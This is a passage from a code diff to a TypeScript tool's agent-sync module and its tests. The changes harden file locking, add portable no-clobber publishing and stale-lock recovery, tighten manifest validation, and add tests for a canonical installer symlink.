() => { + const lockPath = join(fixture.genieHome, LOCK_NAME); + const runnerPath = join(fixture.root, 'portable-lock-crash-runner.ts'); + writeFileSync( + runnerPath, + [ + `import { acquireAgentSyncLock } from ${JSON.stringify(join(import.meta.dir, 'agent-sync.ts'))};`, + 'acquireAgentSyncLock(process.env.CRASH_GENIE_HOME as string, {', + ' forcePortableLockPublish: true,', + " afterPortableLockClaim: () => process.kill(process.pid, 'SIGKILL'),", + '});', + 'process.exit(99);', + '', + ].join('\n'), + 'utf8', + ); + const proc = Bun.spawn(['bun', runnerPath], { + env: { ...process.env, CRASH_GENIE_HOME: fixture.genieHome }, + stdout: 'ignore', + stderr: 'ignore', + }); + + expect(await proc.exited).not.toBe(0); + const debris = lstatSync(lockPath); + expect(debris.isFile()).toBe(true); + expect(debris.size).toBe(0); + const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; + utimesSync(lockPath, staleSec, staleSec); + + const recovered = acquireAgentSyncLock(fixture.genieHome, { forcePortableLockPublish: true }); + + expect(recovered).not.toBeNull(); + expect(lstatSync(lockPath).isFile()).toBe(true); + expect(lstatSync(lockPath).size).toBeGreaterThan(0); + recovered?.release(); + expect(existsSync(lockPath)).toBe(false); + }); + test('an absent GENIE_HOME is created for locking and released without lock or staging debris', () => { const absentHome = join(fixture.root, 'absent-genie-home'); @@ -2919,12 +3187,22 @@ describe('cross-process sync lock', () => { writeFile(lockPath, `${process.pid}:${TOKEN}:${'0'.repeat(64)}:${HOST}\n`); const staleSec = (Date.now() - 11 * 60 * 1000) / 1000; utimesSync(lockPath, staleSec, staleSec); + let identityLookups = 0; - const report = run(); + const report = run({ + lockOptions: { + processStartIdentity: (pid) => { + expect(pid).toBe(process.pid); + identityLookups += 1; + return 'f'.repeat(64); + }, + }, + }); expect(report.skipped).toBeUndefined(); expect(skillAction(agentReport(report, 'claude'), 'alpha')).toBe('created'); expect(existsSync(lockPath)).toBe(false); + expect(identityLookups).toBeGreaterThanOrEqual(3); // initial check, guarded recheck, replacement owner record }); test('a far-future lock timestamp is treated as invalid debris rather than suppressing sync indefinitely', () => { @@ -4785,11 +5063,19 @@ describe('no-clobber directory publish (G5 musl portability)', () => { const staged = stagedTree('rn-src'); const digest = computeDirDigest(staged); const target = join(fixture.root, 'rn-target'); - atomicRenameDirectoryNoClobber(staged, target, { opener: () => noReplaceRenamer, probe: {} }); + atomicRenameDirectoryNoClobber(staged, target, { + platform: 'linux', + opener: () => noReplaceRenamer, + probe: {}, + }); expect(computeDirDigest(target)).toBe(digest); const staged2 = stagedTree('rn-src2'); expect(() => - atomicRenameDirectoryNoClobber(staged2, target, { opener: () => noReplaceRenamer, probe: {} }), + atomicRenameDirectoryNoClobber(staged2, target, { + platform: 'linux', + opener: () => noReplaceRenamer, + probe: {}, + }), ).toThrow('target preserved'); expect(computeDirDigest(target)).toBe(digest); // pre-existing target bytes untouched }); @@ -4798,7 +5084,7 @@ describe('no-clobber directory publish (G5 musl portability)', () => { const staged = stagedTree('portable-src'); const digest = computeDirDigest(staged); const target = join(fixture.root, 'portable-target'); // absent - atomicRenameDirectoryNoClobber(staged, target, { opener: () => null, probe: {} }); + atomicRenameDirectoryNoClobber(staged, target, { platform: 'linux', opener: () => null, probe: {} }); expect(computeDirDigest(target)).toBe(digest); // mkdir-claim + rename-onto-empty reproduces the tree }); @@ -4807,9 +5093,9 @@ describe('no-clobber directory publish (G5 musl portability)', () => { const target = join(fixture.root, 'portable-target2'); writeFile(join(target, 'EXISTING.txt'), 'user bytes\n'); const before = computeDirDigest(target); - expect(() => atomicRenameDirectoryNoClobber(staged, target, { opener: () => null, probe: {} })).toThrow( - 'portable directory claim failed', - ); + expect(() => + atomicRenameDirectoryNoClobber(staged, target, { platform: 'linux', opener: () => null, probe: {} }), + ).toThrow('portable directory claim failed'); expect(computeDirDigest(target)).toBe(before); // target never clobbered expect(readFileSync(join(target, 'EXISTING.txt'), 'utf8')).toBe('user bytes\n'); }); @@ -4826,6 +5112,14 @@ describe('no-clobber directory publish (G5 musl portability)', () => { expect(computeDirDigest(target)).toBe(before); // a real (non-empty) target is never touched }); + test('Darwin falls back safely when native rename setup is unavailable before invocation', () => { + const staged = stagedTree('darwin-portable-src'); + const digest = computeDirDigest(staged); + const target = join(fixture.root, 'darwin-portable-target'); + atomicRenameDirectoryNoClobber(staged, target, { platform: 'darwin', darwinOpener: () => null }); + expect(computeDirDigest(target)).toBe(digest); + }); + test('feature detection is memoized at first use across publishes', () => { let calls = 0; const probe = {}; // fresh probe cache shared across both publishes @@ -4833,11 +5127,19 @@ describe('no-clobber directory publish (G5 musl portability)', () => { calls += 1; return null; // simulate musl: no candidate resolves }; - atomicRenameDirectoryNoClobber(stagedTree('cache-1'), join(fixture.root, 'cache-t1'), { opener, probe }); + atomicRenameDirectoryNoClobber(stagedTree('cache-1'), join(fixture.root, 'cache-t1'), { + platform: 'linux', + opener, + probe, + }); const afterFirst = calls; - atomicRenameDirectoryNoClobber(stagedTree('cache-2'), join(fixture.root, 'cache-t2'), { opener, probe }); + atomicRenameDirectoryNoClobber(stagedTree('cache-2'), join(fixture.root, 'cache-t2'), { + platform: 'linux', + opener, + probe, + }); expect(calls).toBe(afterFirst); // the second publish reuses the memoized probe — no re-detection - if (process.platform === 'linux') expect(afterFirst).toBeGreaterThan(0); + expect(afterFirst).toBeGreaterThan(0); }); }); diff --git a/src/lib/agent-sync.ts b/src/lib/agent-sync.ts index 1a6032ea9..ab077321e 100644 --- a/src/lib/agent-sync.ts +++ b/src/lib/agent-sync.ts @@ -240,6 +240,12 @@ export interface AgentSyncLockMutationEvent { export interface AgentSyncLockOptions { /** Deterministic barrier after a generation is prepared and before its atomic publish. */ beforePublish?: (event: { path: string }) => void; + /** Force lock publication through the portable O_EXCL regular-file protocol (test seam). */ + forcePortableLockPublish?: boolean; + /** Injectable native capability setup for lock-generation publication. */ + lockPublishDeps?: NoClobberDeps; + /** Deterministic barrier after the portable lock pathname is claimed and before its bytes are written. */ + afterPortableLockClaim?: (event: { path: string }) => void; /** Deterministic barrier after a missing GENIE_HOME is staged and before its atomic publish. */ beforeHomePublish?: (event: { path: string; stagePath: string }) => void; /** Force missing-home publication through the portable mkdir commit (test seam). */ @@ -250,6 +256,8 @@ export interface AgentSyncLockOptions { afterPortableHomeClaim?: (event: { path: string; stagePath: string }) => void; /** Deterministic barrier after the lock pathname is captured and before the captured object is finalized. */ afterCapture?: (event: AgentSyncLockMutationEvent) => void; + /** Injectable process-start resolver for deterministic PID-reuse boundary tests. */ + processStartIdentity?: (pid: number) => string | null; } /** A protected mutation must never proceed when the shared lock cannot be created or verified. */ @@ -620,8 +628,8 @@ function writeManifest(dir: string, manifest: SyncManifest): void { /** * Read the shared per-file Claude agent manifest. A malformed entry invalidates - * the whole ownership claim: callers then treat every target as unmanaged, - * which biases corrupt-state recovery toward backup/adoption instead of loss. + * the whole ownership claim: callers then fail closed and leave every target + * untouched because corrupt state cannot prove either foreign or Genie ownership. */ export function readAgentFilesManifest(dir: string): AgentFilesManifest | null { const state = inspectAgentFilesManifest(dir); @@ -676,10 +684,50 @@ function inspectAgentFilesManifest(dir: string): AgentManifestState { return { kind: 'unsafe', path, reason: `cannot read it: ${errMsg(error)}` }; } const manifest = parseAgentFilesManifest(bytes); - if (manifest === null) return { kind: 'foreign', path, bytes, stat, manifest: null }; + if (manifest === null) { + if (isInvalidOrGenieOwnedAgentManifest(bytes)) { + return { kind: 'unsafe', path, reason: 'it is invalid JSON or claims Genie ownership with an invalid schema' }; + } + return { kind: 'foreign', path, bytes, stat, manifest: null }; + } return { kind: 'managed', path, bytes, stat, manifest }; } +/** Invalid JSON cannot prove foreign ownership; valid JSON is unsafe only when Genie claims it. */ +function isInvalidOrGenieOwnedAgentManifest(bytes: Buffer): boolean { + try { + const parsed = JSON.parse(bytes.toString('utf8')) as unknown; + return ( + typeof parsed === 'object' && + parsed !== null && + !Array.isArray(parsed) && + (parsed as Record).managedBy === MANAGED_BY + ); + } catch { + return true; + } +} + +function parseAgentFileManifestEntry(rawEntry: unknown): AgentFileManifestEntry | null { + if (typeof rawEntry !== 'object' || rawEntry === null || Array.isArray(rawEntry)) return null; + const entry = rawEntry as Record; + if (Object.keys(entry).sort().join('\0') !== ['digest', 'syncedAt', 'version'].join('\0')) return null; + if (typeof entry.digest !== 'string' || !/^[a-f0-9]{64}$/.test(entry.digest)) return null; + if ( + entry.version !== null && + (typeof entry.version !== 'string' || !/^[0-9]+\.[0-9]+\.[0-9]+(?:[-+][0-9A-Za-z.-]+)?$/.test(entry.version)) + ) { + return null; + } + if (typeof entry.syncedAt !== 'string') return null; + try { + if (new Date(entry.syncedAt).toISOString() !== entry.syncedAt) return null; + } catch { + return null; + } + return { digest: entry.digest, version: entry.version, syncedAt: entry.syncedAt }; +} + function parseAgentFilesManifest(bytes: Buffer): AgentFilesManifest | null { let parsed: unknown; try { @@ -691,18 +739,14 @@ function parseAgentFilesManifest(bytes: Buffer): AgentFilesManifest | null { const record = parsed as Record; if (record.managedBy !== MANAGED_BY) return null; if (typeof record.files !== 'object' || record.files === null || Array.isArray(record.files)) return null; + if (Object.keys(record).sort().join('\0') !== ['files', 'managedBy'].join('\0')) return null; const files: Record = {}; for (const [name, rawEntry] of Object.entries(record.files)) { if (!isFlatAgentFilename(name)) return null; - if (typeof rawEntry !== 'object' || rawEntry === null || Array.isArray(rawEntry)) return null; - const entry = rawEntry as Record; - if (typeof entry.digest !== 'string') return null; - files[name] = { - digest: entry.digest, - version: typeof entry.version === 'string' ? entry.version : null, - syncedAt: typeof entry.syncedAt === 'string' ? entry.syncedAt : '', - }; + const entry = parseAgentFileManifestEntry(rawEntry); + if (entry === null) return null; + files[name] = entry; } return { managedBy: MANAGED_BY, files }; } @@ -740,11 +784,12 @@ function sameManifestFile(expected: SafeManifestFile, current: SafeManifestFile) ); } -function writeExclusiveFile(path: string, content: Buffer): void { +function writeExclusiveFile(path: string, content: Buffer, afterOpen?: () => void): Stats { const fd = openSync(path, 'wx'); const identity = fstatSync(fd); let complete = false; try { + afterOpen?.(); writeFileSync(fd, content); fsyncSync(fd); complete = true; @@ -752,6 +797,7 @@ function writeExclusiveFile(path: string, content: Buffer): void { closeSync(fd); if (!complete) cleanupFailedExclusiveWrite(path, identity); } + return identity; } function cleanupFailedExclusiveWrite(path: string, expected: Stats): void { @@ -787,18 +833,28 @@ function createFileStage(targetPath: string, content: Buffer): FileStage { /** The staged payload is still the exact object this run wrote (identity + bytes). */ function fileStageOwned(stage: FileStage): boolean { - return fileStagePayloadMatches(stage, stage.path); + return stage.stat.nlink === 1 && fileStagePayloadMatches(stage, stage.path, 1); } /** Identity + byte check for a staged inode after one of its names has moved. */ -function fileStagePayloadMatches(stage: FileStage, path: string): boolean { +function fileStagePayloadMatches(stage: FileStage, path: string, requiredLinks?: number): boolean { try { - const stat = lstatSync(path); + const before = lstatSync(path); + if ( + !before.isFile() || + before.isSymbolicLink() || + (requiredLinks !== undefined && before.nlink !== requiredLinks) || + !sameObjectIdentity(stage.stat, before) + ) { + return false; + } + const bytes = readFileSync(path); + const after = lstatSync(path); return ( - stat.isFile() && - !stat.isSymbolicLink() && - sameObjectIdentity(stage.stat, stat) && - readFileSync(path).equals(stage.bytes) + samePathIdentity(before, after) && + (requiredLinks === undefined || after.nlink === requiredLinks) && + sameObjectIdentity(stage.stat, after) && + bytes.equals(stage.bytes) ); } catch { return false; @@ -833,17 +889,38 @@ function cleanupFileStage(stage: FileStage): string | null { * Success-path stage disposal after a link-publish: the stage name is only an * extra name for the now-live inode, so dropping it can never discard bytes. */ -function consumeFileStageName(stage: FileStage): string | null { +function consumeFileStageName(stage: FileStage, targetPath: string): string | null { + const captured = capturePath(stage.path, 'agent-stage-name'); + if (captured === null) return `staged name disappeared before cleanup: ${stage.path}`; + if (!portableLinkPairIsExact(stage, captured.path, targetPath)) { + restoreOrPreserveCaptured(captured, stage.path); + return `published agent link pair changed before stage-name cleanup: ${targetPath}`; + } try { - unlinkSync(stage.path); + unlinkSync(captured.path); } catch (error) { - if (!isNodeErrorCode(error, 'ENOENT')) return `could not remove staged name ${stage.path}: ${errMsg(error)}`; + return `could not remove staged name ${captured.path}: ${errMsg(error)}`; } try { + removeEmptyDirSafe(captured.dir); removeEmptyDirSafe(stage.dir); } catch (error) { return `could not remove staged directory ${stage.dir}: ${errMsg(error)}`; } + return fileStagePayloadMatches(stage, targetPath, 1) + ? null + : `published agent target was not a safe single-link file after cleanup: ${targetPath}`; +} + +/** Roll back only the staged inode's live name; every replacement is restored or preserved. */ +function unpublishFileStageTarget(stage: FileStage, targetPath: string): string | null { + const captured = capturePath(targetPath, 'agent-stage-rollback'); + if (captured === null) return null; + if (!fileStagePayloadMatches(stage, captured.path)) { + const preserved = restoreOrPreserveCaptured(captured, targetPath); + return preserved === targetPath ? null : `preserved concurrent agent replacement at ${preserved ?? captured.path}`; + } + removeCapturedPath(captured); return null; } @@ -2215,7 +2292,8 @@ export function atomicRenameDirectoryNoClobber(stagedDir: string, targetDir: str } const stagedPath = Buffer.from(`${stagedDir}\0`); const targetPath = Buffer.from(`${targetDir}\0`); - if (process.platform === 'linux') { + const platform = selectedNoClobberPlatform(deps); + if (platform === 'linux') { const rn = probeLinuxRenameat2(deps); if (rn === null) { publishDirectoryViaNameClaim(stagedDir, targetDir); // musl / no renameat2 => portable @@ -2227,16 +2305,13 @@ export function atomicRenameDirectoryNoClobber(stagedDir: string, targetDir: str } return; } - if (process.platform === 'darwin') { - const libc = dlopen('/usr/lib/libSystem.B.dylib', { - renamex_np: { args: ['cstring', 'cstring', 'u32'], returns: 'i32' }, - } as const); - let result: number; - try { - result = libc.symbols.renamex_np(stagedPath, targetPath, DARWIN_RENAME_EXCL); - } finally { - libc.close(); + if (platform === 'darwin') { + const renameExclusive = resolveDarwinRenameExclusive(deps); + if (renameExclusive === null) { + publishDirectoryViaNameClaim(stagedDir, targetDir); + return; } + const result = renameExclusive(stagedPath, targetPath); if (result !== 0) { const detail = lstatSafe(targetDir) === null ? 'rename failed' : 'target exists'; throw new NoClobberPublishError(`atomic no-clobber publish failed (${detail}); target preserved: ${targetDir}`); @@ -3752,11 +3827,21 @@ function executePublishOp( pushAdvisory(ctx, cleanupFileStage(stage)); return; } - pushAdvisory(ctx, consumeFileStageName(stage)); - state.published = captureAgentPathSnapshot(targetPath); + const cleanupFailure = consumeFileStageName(stage, targetPath); + if (cleanupFailure !== null) { + pushAdvisory(ctx, unpublishFileStageTarget(stage, targetPath)); + throw new Error(cleanupFailure); + } + const published = captureAgentPathSnapshot(targetPath); + if (published.kind !== 'file' || published.stat.nlink !== 1 || !published.bytes.equals(op.payload)) { + pushAdvisory(ctx, unpublishFileStageTarget(stage, targetPath)); + throw new Error(`published agent target was not an exact single-link payload: ${targetPath}`); + } + state.published = published; state.delta = 'set'; } catch (error) { - restoreCapturedAfterFailure(ctx, state, targetPath); + const restored = restoreCapturedAfterFailure(ctx, state, targetPath); + if (!restored && ctx.baseFiles[op.name] !== undefined) state.delta = 'delete'; pushAdvisory(ctx, cleanupFileStage(stage)); state.status = 'failed'; state.reason = errMsg(error); @@ -3778,7 +3863,11 @@ function executeRetireOp( try { ctx.seams.beforeFileMutation?.({ operation: op.operation, path: targetPath, backupPath: op.backupPath }); } catch (error) { - restoreCapturedAfterFailure(ctx, state, targetPath); + const restored = restoreCapturedAfterFailure(ctx, state, targetPath); + // If a foreign object won the live name while the callback failed, the + // old ownership claim must still be deleted. The prior managed bytes are + // kept aside and the manifest commit relinquishes the foreign live name. + if (!restored) state.delta = 'delete'; state.status = 'failed'; state.reason = errMsg(error); return; @@ -3843,14 +3932,15 @@ function markConflict(ctx: FlatAgentTxnCtx, state: FlatAgentOpState, conflict: F } /** Failure path: the live pathname is restored, or the bytes stay visible at a kept path. */ -function restoreCapturedAfterFailure(ctx: FlatAgentTxnCtx, state: FlatAgentOpState, targetPath: string): void { +function restoreCapturedAfterFailure(ctx: FlatAgentTxnCtx, state: FlatAgentOpState, targetPath: string): boolean { const captured = state.captured; - if (captured === null) return; + if (captured === null) return true; state.captured = null; try { - restoreCapturedForFailure(ctx, state, captured, targetPath); + return restoreCapturedForFailure(ctx, state, captured, targetPath); } catch (error) { ctx.advisories.push(`prior agent bytes for ${targetPath} left quarantined at ${captured.path}: ${errMsg(error)}`); + return false; } } @@ -3859,14 +3949,15 @@ function restoreCapturedForFailure( state: FlatAgentOpState, captured: CapturedPath, targetPath: string, -): void { +): boolean { if (restoreCapturedPathNoReplace(captured.path, targetPath)) { removeEmptyDirSafe(captured.dir); - return; + return true; } const kept = keepAsideCaptured(captured, targetPath, ctx.seams.now); state.keptPath = kept ?? undefined; ctx.advisories.push(`preserved prior agent bytes at ${kept ?? captured.path}`); + return false; } function pushAdvisory(ctx: FlatAgentTxnCtx, advisory: string | null): void { @@ -4169,15 +4260,58 @@ function publishFlatAgentManifestStage( return failStagedManifestPublish(ctx, stage, errMsg(error)); } if (publish === 'linked') return completePortableManifestPublish(ctx, stage, manifestPath); - // Native NOREPLACE rename is the commit point; directory cleanup cannot roll it back. + // Native NOREPLACE consumes the staged name, but an alias created on the + // staged inode before publication must never become a mutable ownership + // claim. Commit only after the live name is the exact single-link payload. + if (!fileStagePayloadMatches(stage, manifestPath, 1)) { + unpublishPortableManifestTarget(ctx, stage, manifestPath); + pushAdvisory(ctx, finishNativeCommittedFileStage(stage)); + return { committed: false, reason: 'published manifest was not an exact single-link staged payload' }; + } pushAdvisory(ctx, finishNativeCommittedFileStage(stage)); return { committed: true }; } -function disposePreviousManifestAfterCommit(ctx: FlatAgentTxnCtx, captured: CapturedPath | null): void { +/** + * Dispose a captured base only after re-capturing its private name and proving + * the second capture is still the exact manifest object the transaction read. + * A same-UID writer replacing the first quarantine name is preserved, never + * deleted merely because publication already committed. + */ +function discardCapturedManifestBase(ctx: FlatAgentTxnCtx, captured: CapturedPath, base: AgentManifestState): boolean { + if (base.kind !== 'managed' && base.kind !== 'foreign') return false; + let disposal: CapturedPath | null; + try { + disposal = capturePath(captured.path, 'manifest-dispose'); + } catch (error) { + ctx.advisories.push(`previous manifest left quarantined at ${captured.path}: ${errMsg(error)}`); + return false; + } + if (disposal === null) { + removeEmptyDirSafe(captured.dir); + return true; + } + if (!manifestStillBase(disposal.path, base)) { + const preserved = restoreOrPreserveCaptured(disposal, captured.path); + ctx.advisories.push(`preserved replaced previous manifest at ${preserved ?? disposal.path}`); + return false; + } + removeCapturedPath(disposal); + if (lstatSafe(captured.path) !== null) { + ctx.advisories.push(`preserved concurrent replacement in previous-manifest quarantine at ${captured.path}`); + } + removeEmptyDirSafe(captured.dir); + return true; +} + +function disposePreviousManifestAfterCommit( + ctx: FlatAgentTxnCtx, + captured: CapturedPath | null, + base: AgentManifestState, +): void { if (captured === null) return; try { - removeCapturedPath(captured); + discardCapturedManifestBase(ctx, captured, base); } catch (error) { ctx.advisories.push(`previous manifest left quarantined at ${captured.path}: ${errMsg(error)}`); } @@ -4226,7 +4360,7 @@ function commitFlatAgentManifestWrite( return publication; } // Native rename or verified portable nlink=1 decided the outcome. Nothing below may roll back. - disposePreviousManifestAfterCommit(ctx, baseCapture.captured); + disposePreviousManifestAfterCommit(ctx, baseCapture.captured, base); return publication; } @@ -4270,7 +4404,9 @@ function removeBaseManifestExact( restorePreviousManifest(ctx, captured, manifestPath); return { committed: false, reason: 'manifest ownership changed before commit: a replacement manifest appeared' }; } - removeCapturedPath(captured); + if (!discardCapturedManifestBase(ctx, captured, base)) { + return { committed: false, reason: 'captured manifest changed before exact disposal' }; + } if (lstatSafe(manifestPath) !== null) { return { committed: false, reason: 'manifest ownership changed before commit: a replacement manifest appeared' }; } @@ -5837,11 +5973,17 @@ function lockOwner(lockPath: string): LockOwner | null { * transient legacy/shell-shaped records retain the prior semantics, in lockstep * with the shell. */ -function lockHasLiveOwner(lockPath: string): boolean { - return lockOwnerIsLive(lockOwner(lockPath)); +function lockHasLiveOwner( + lockPath: string, + resolveProcessStartIdentity: (pid: number) => string | null = processStartIdentity, +): boolean { + return lockOwnerIsLive(lockOwner(lockPath), resolveProcessStartIdentity); } -function lockOwnerIsLive(owner: LockOwner | null): boolean { +function lockOwnerIsLive( + owner: LockOwner | null, + resolveProcessStartIdentity: (pid: number) => string | null = processStartIdentity, +): boolean { if (owner === null) return false; // empty / unparseable record is genuine dead-writer debris if (owner.host !== null && owner.host !== currentSyncLockHostId()) return true; // host-bearing + cross-host → never steal try { @@ -5850,7 +5992,7 @@ function lockOwnerIsLive(owner: LockOwner | null): boolean { if ((error as NodeJS.ErrnoException).code !== 'EPERM') return false; } if (owner.processIdentity === null || owner.processIdentity === 'unknown') return true; - const currentIdentity = processStartIdentity(owner.pid); + const currentIdentity = resolveProcessStartIdentity(owner.pid); return currentIdentity === null || currentIdentity === owner.processIdentity; } @@ -6073,8 +6215,9 @@ function stealStaleFileLock(lockPath: string): 'cleared' | 'contended' { * an {@link AgentSyncLockError}; protected mutation never proceeds unlocked. */ function acquireAgentMutationLock(lockPath: string, options: AgentSyncLockOptions): { release: () => void } | null { + const resolveProcessStartIdentity = options.processStartIdentity ?? processStartIdentity; for (let attempt = 0; attempt < 3; attempt += 1) { - const owned = createOwnedLockDirectory(lockPath, options); + const owned = createOwnedAgentSyncLock(lockPath, options); if (owned !== null) { return { release: () => releaseOwnedSyncLock(lockPath, owned, options, 'release') }; } @@ -6086,11 +6229,11 @@ function acquireAgentMutationLock(lockPath: string, options: AgentSyncLockOption // Upgrade compatibility retains the current dev lock protocol's // cross-host/PID liveness rule. A generation lock is self-identifying by // its owner pathname, while a legacy file carries this record in bytes. - if (lockHasLiveOwner(lockPath)) return null; + if (lockHasLiveOwner(lockPath, resolveProcessStartIdentity)) return null; if (stealLegacyStaleLock(lockPath, observed, options) === 'contended') return null; continue; } - if (lockOwnerIsLive(parseLockOwner(observed.token.trim()))) return null; + if (lockOwnerIsLive(parseLockOwner(observed.token.trim()), resolveProcessStartIdentity)) return null; if (stealStaleAgentLock(lockPath, observed, options) === 'contended') return null; // stale owner token was removed; retry the atomic generation publish } @@ -6105,6 +6248,14 @@ interface OwnedLockDirectory { token: string; } +interface OwnedPortableLockFile { + kind: 'owned-file'; + stat: Stats; + bytes: Buffer; +} + +type OwnedAgentSyncLock = OwnedLockDirectory | OwnedPortableLockFile; + interface LegacyLockFile { kind: 'legacy-file'; stat: Stats; @@ -6116,8 +6267,73 @@ interface ForeignLockObject { stat: Stats; } -/** Publish one non-empty lock generation atomically; existing objects are contention. */ -function createOwnedLockDirectory(lockPath: string, options: AgentSyncLockOptions): OwnedLockDirectory | null { +type AgentSyncLockPublisher = (stagedDir: string, targetDir: string) => void; + +function makeAgentSyncLockPublisher(renameExclusive: Renameat2): AgentSyncLockPublisher { + return (stagedDir, targetDir) => { + const result = renameExclusive(Buffer.from(`${stagedDir}\0`), Buffer.from(`${targetDir}\0`)); + if (result !== 0) { + const detail = lstatSafe(targetDir) === null ? 'rename failed' : 'target exists'; + throw new NoClobberPublishError( + `atomic agent-sync lock publish failed (${detail}); target preserved: ${targetDir}`, + ); + } + }; +} + +/** Resolve native directory NOREPLACE before publication; unavailable setup selects the O_EXCL file protocol. */ +function resolveNativeAgentSyncLockPublisher(options: AgentSyncLockOptions): AgentSyncLockPublisher | null { + if (options.forcePortableLockPublish === true) return null; + const deps = options.lockPublishDeps ?? {}; + const platform = selectedNoClobberPlatform(deps); + if (platform === 'darwin') { + const renameExclusive = resolveDarwinRenameExclusive(deps); + return renameExclusive === null ? null : makeAgentSyncLockPublisher(renameExclusive); + } + if (platform !== 'linux') return null; + const renameNoReplace = probeLinuxRenameat2(deps); + return renameNoReplace === null ? null : makeAgentSyncLockPublisher(renameNoReplace); +} + +/** + * Portable lock publication uses one O_EXCL regular file, never a transient + * empty directory. The name is claimed before bytes are written, but all writes + * stay bound to the opened inode: a pathname replacement cannot be clobbered. + * A crash before the complete owner record lands leaves an ordinary legacy-file + * generation, which the existing age + steal protocol can recover safely. + */ +function createOwnedPortableLockFile( + lockPath: string, + token: string, + options: AgentSyncLockOptions, +): OwnedPortableLockFile | null { + const bytes = Buffer.from(token); + let opened: Stats; + try { + options.beforePublish?.({ path: lockPath }); + opened = writeExclusiveFile(lockPath, bytes, () => options.afterPortableLockClaim?.({ path: lockPath })); + } catch (error) { + if (isNodeErrorCode(error, 'EEXIST') || lstatSafe(lockPath) !== null) return null; + throw new AgentSyncLockError( + `portable agent-sync lock publish failed closed for ${lockPath}: ${errMsg(error)}`, + error, + ); + } + const current = inspectLegacyLockFile(lockPath); + if (current === null || !samePathIdentity(opened, current.stat) || !bytes.equals(current.bytes)) { + throw new AgentSyncLockError(`portable agent-sync lock ownership could not be verified for ${lockPath}`); + } + return { kind: 'owned-file', stat: current.stat, bytes }; +} + +/** Publish one complete lock generation without replacing any existing pathname. */ +function createOwnedAgentSyncLock(lockPath: string, options: AgentSyncLockOptions): OwnedAgentSyncLock | null { + const token = `${process.pid}:${randomBytes(16).toString('hex')}:${ + (options.processStartIdentity ?? processStartIdentity)(process.pid) ?? 'unknown' + }:${currentSyncLockHostId()}\n`; + const nativePublish = resolveNativeAgentSyncLockPublisher(options); + if (nativePublish === null) return createOwnedPortableLockFile(lockPath, token, options); + let stageDir: string; try { stageDir = mkdtempSync(`${lockPath}.stage-`); @@ -6127,9 +6343,6 @@ function createOwnedLockDirectory(lockPath: string, options: AgentSyncLockOption error, ); } - const token = `${process.pid}:${randomBytes(16).toString('hex')}:${ - processStartIdentity(process.pid) ?? 'unknown' - }:${currentSyncLockHostId()}\n`; const ownerName = `owner-${hashBytes(Buffer.from(token)).slice(0, 32)}`; const stagedOwnerPath = join(stageDir, ownerName); try { @@ -6144,7 +6357,10 @@ function createOwnedLockDirectory(lockPath: string, options: AgentSyncLockOption const stagedStat = lstatSync(stagedOwnerPath); try { options.beforePublish?.({ path: lockPath }); - renameSync(stageDir, lockPath); + // Plain rename(2) may replace an existing empty directory on POSIX. Lock + // publication must be a genuine NOREPLACE operation: every foreign lock + // object, including an empty directory, is contention and stays untouched. + nativePublish(stageDir, lockPath); } catch (error) { unlinkExactOwnedLockFile(stagedOwnerPath, stagedStat, token); removeEmptyDirSafe(stageDir); @@ -6467,7 +6683,7 @@ function stealLegacyStaleLock( !samePathIdentity(observed.stat, current.stat) || !observed.bytes.equals(current.bytes) || !isStaleOrInvalidLockTime(current.stat.mtimeMs) || - lockHasLiveOwner(lockPath) + lockHasLiveOwner(lockPath, options.processStartIdentity ?? processStartIdentity) ) { return 'contended'; } @@ -6521,11 +6737,15 @@ function inspectLegacyLockFile(path: string): LegacyLockFile | null { /** The token pathname is the ownership CAS; a replacement generation has a different owner name. */ function releaseOwnedSyncLock( lockPath: string, - expected: OwnedLockDirectory, + expected: OwnedAgentSyncLock, options: AgentSyncLockOptions, operation: AgentSyncLockMutationEvent['operation'], ): void { try { + if (expected.kind === 'owned-file') { + removeExactPortableLockFile(lockPath, expected, options, operation); + return; + } if (!unlinkExactOwnedLockFile(expected.ownerPath, expected.stat, expected.token, options, operation)) return; removeEmptyLockGeneration(lockPath); } catch { @@ -6533,6 +6753,32 @@ function releaseOwnedSyncLock( } } +function removeExactPortableLockFile( + lockPath: string, + expected: OwnedPortableLockFile, + options: AgentSyncLockOptions, + operation: AgentSyncLockMutationEvent['operation'], +): boolean { + const current = inspectLegacyLockFile(lockPath); + if (current === null || !samePathIdentity(expected.stat, current.stat) || !expected.bytes.equals(current.bytes)) { + return false; + } + const captured = capturePath(lockPath, 'portable-lock-release'); + if (captured === null) return false; + options.afterCapture?.({ operation, path: lockPath, capturedPath: captured.path }); + const capturedState = inspectLegacyLockFile(captured.path); + if ( + capturedState === null || + !samePathIdentity(expected.stat, capturedState.stat) || + !expected.bytes.equals(capturedState.bytes) + ) { + restoreOrPreserveCaptured(captured, lockPath); + return false; + } + removeCapturedPath(captured); + return true; +} + function unlinkExactOwnedLockFile( ownerPath: string, expectedStat: Stats, diff --git a/src/lib/install-link.test.ts b/src/lib/install-link.test.ts new file mode 100644 index 000000000..ae1274ce8 --- /dev/null +++ b/src/lib/install-link.test.ts @@ -0,0 +1,172 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { + chmodSync, + existsSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + readlinkSync, + renameSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { CanonicalInstallLinkError, prepareCanonicalInstallLink, verifyCanonicalInstallLink } from './install-link.js'; + +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function fixture() { + const root = mkdtempSync(join(tmpdir(), 'genie-install-link-')); + roots.push(root); + const home = join(root, 'home'); + const target = join(home, '.genie', 'bin', 'genie'); + const link = join(home, '.local', 'bin', 'genie'); + mkdirSync(join(home, '.genie', 'bin'), { recursive: true }); + writeFileSync(target, 'binary'); + return { root, home, target, link }; +} + +describe('canonical installer link', () => { + test('publishes once with no-clobber and admits the exact same link idempotently', () => { + const f = fixture(); + const first = prepareCanonicalInstallLink({ + trustedHome: f.home, + linkPath: f.link, + targetPath: f.target, + randomId: () => 'first', + }); + + expect(first.created).toBe(true); + expect(lstatSync(f.link).isSymbolicLink()).toBe(true); + expect(readlinkSync(f.link)).toBe(f.target); + const second = prepareCanonicalInstallLink({ + trustedHome: f.home, + linkPath: f.link, + targetPath: f.target, + randomId: () => 'second', + }); + expect(second.created).toBe(false); + expect(second.identity).toEqual(first.identity); + }); + + test('preserves an occupied foreign file', () => { + const f = fixture(); + mkdirSync(join(f.home, '.local', 'bin'), { 